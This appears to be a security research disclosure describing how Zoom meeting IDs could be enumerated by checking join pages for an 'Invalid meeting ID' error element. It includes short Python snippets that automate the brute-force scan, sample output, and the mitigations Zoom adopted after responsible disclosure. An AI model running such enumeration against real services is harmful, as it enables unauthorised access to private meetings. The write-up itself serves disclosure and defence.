Zoom: how you were able to join random meetings due to incredibly poor security design

In this publication we describe a technique which would have allowed a threat actor to potentially identify and join active meetings.

All the details discussed in this publication were responsibly disclosed to Zoom Video Communications, Inc. In response, Zoom introduced a number of mitigations, so this attack is no longer possible.

The Problem

If you use Zoom, you may already know that Zoom Meeting IDs are composed of 9, 10 or 11 digits. The problem was that if you hadn’t enabled the “Require meeting password” option or enabled Waiting Room, which allows manual participants admission, these 9-10-11 digits were the only thing that secured your meeting i.e. prevented an unauthorized person from connecting to it.


Let Me Guess…
The first thing we did was pre-generate the list of potentially valid Zoom Meeting IDs. We took 1000 “random” Meeting IDs and prepared the URL string for joining the meeting here as well:

urls = []
for _ in range(1000):
urls.append("https://zoom.us/j/{}".format(randint(100000000, 9999999999)))

But how could we determine if a Zoom Meeting ID represented a valid meeting or not? We discovered a fast and easy way to check this based on the following “div” element present in the HTML Body of the returned response, when accessing “Join Meeting” URL (https://zoom.us/j/{MEETING_ID})

<div id="join-errormsg" class="error"><i></i><span>Invalid meeting ID.</span></div&gt

I Found It!
We then tried to automate the described approach (just in case you don’t want to brute force all the Meeting IDs by hand):

for url in urls:
    yield MakeHTTPRequest(url=url, callback=parseResponse)

def MakeHTTPRequest(url, callback)
    

def parseResponse(response):
    if response.css('div#join-errormsg').get() is None:
        print('Valid Meeting ID found: {}'.format(response.url))
    else:
        print('Invalid Meeting ID')

…and look at the output:

Invalid Meeting ID
Invalid Meeting ID
Valid Meeting ID found: https://zoom.us/j/22XXX41X8
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Valid Meeting ID found: https://zoom.us/j/8XXX34XXX9
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Valid Meeting ID found: https://zoom.us/j/93XXX9XXX5
Invalid Meeting ID
Invalid Meeting ID

Bingo!

Results
We were able to predict ~4% of randomly generated Meeting IDs, which is a very high chance of success, comparing to the pure brute force.

Mitigation

We contacted Zoom on July 22, 2019 as part of a responsible disclosure process and proposed the following mitigations:
1. Re-implement the generation algorithm of Meeting IDs
2. Replace the randomization function with a cryptographically strong one.
3.Increase the number of digits\symbols in the Meeting IDs.
4.Force hosts to use passwords\PINs\SSO for authorization purposes.

Zoom representatives were very collaborative and responded quickly to our emails. Here is the list of changes that were introduced to the Zoom client\infrastructure following our disclosure:

  1. Passwords are added by default to all future scheduled meetings.
  2. Users can able to add a password to already-scheduled future meetings and received instructions by email on how to do so. See article for instructions: https://support.zoom.us/hc/en-us/articles/360033331271-Account-Setting-Update-Password-Default-for-Meeting-and-Webinar
  3. Password settings are enforceable at the account level and group level by the account admin.
  4. Zoom will no longer automatically indicate if a meeting ID is valid or invalid. For each attempt, the page will load and attempt to join the meeting. Thus, a bad actor will not be able to quickly narrow the pool of meetings to attempt to join.
  5. Repeated attempts to scan for meeting IDs will cause a device to be blocked for a period of time.

Source: Zoom-Zoom: We Are Watching You – Check Point Research